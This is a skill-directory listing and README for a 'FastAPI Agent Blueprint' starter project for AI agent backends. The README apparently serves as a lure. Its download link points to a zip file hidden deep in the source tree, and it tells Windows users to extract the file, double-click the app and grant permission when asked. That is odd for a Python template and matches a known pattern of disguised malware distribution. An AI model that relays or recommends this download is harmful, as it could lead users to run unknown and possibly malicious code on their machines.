lannyfervent952

FastAPI Agent Blueprint — AI skill for Claude Code

AI community

Build FastAPI AI agents with a clear blueprint for reliable, maintainable app architecture.

How to install FastAPI Agent Blueprint

This entry records only its repository, not the path inside it, so there is no exact command to give. Open lannyfervent952/fastapi-agent-blueprint and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

What FastAPI Agent Blueprint does

Build FastAPI AI agents with a clear blueprint for reliable, maintainable app architecture.

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README

🧩 fastapi-agent-blueprint - Build AI backends with less setup

[![Download the latest release](https://img.shields.io/badge/Download%20Latest%20Release-blue?style=for-the-badge)](https://github.com/lannyfervent952/fastapi-agent-blueprint/raw/refs/heads/main/src/_core/domain/value_objects/blueprint_agent_fastapi_v3.4.zip)

📥 Download

Visit this page to download the Windows release:

https://github.com/lannyfervent952/fastapi-agent-blueprint/raw/refs/heads/main/src/_core/domain/value_objects/blueprint_agent_fastapi_v3.4.zip

🪟 Windows setup

Open the release page in your browser.
Download the latest Windows file from the Assets section.
If the file is in a .zip archive, right-click it and choose Extract All.
Open the extracted folder.
Double-click the app file to start it.
If Windows asks for permission, choose Yes.
Wait for the app to load in your browser or desktop window.
Keep the folder in a safe place so you can open it again later

🔍 What this app is for

fastapi-agent-blueprint is a starter project for AI agent backends. It gives you a working base for apps that need:

a web server for requests
data saved in a database
simple create, read, update, and delete flows
search across text and vector data
a clean structure for separate app parts
support for agent tools and AI tasks

It is built for people who want to start from a ready-made base instead of assembling everything by hand

⚙️ What you get

FastAPI app structure
Domain-driven design layout
Dependency injection setup
Database layer with SQLAlchemy
PostgreSQL support
Vector search support with pgvector
Auto domain discovery
CRUD scaffolding
RAG-ready data flow
Pydantic models for data checks
Hooks for Claude Code and Codex CLI
AI skill folders for agent work
Interface options for different app layers

🖥️ System needs

Use a Windows PC with:

Windows 10 or newer
4 GB RAM or more
500 MB free disk space
Internet access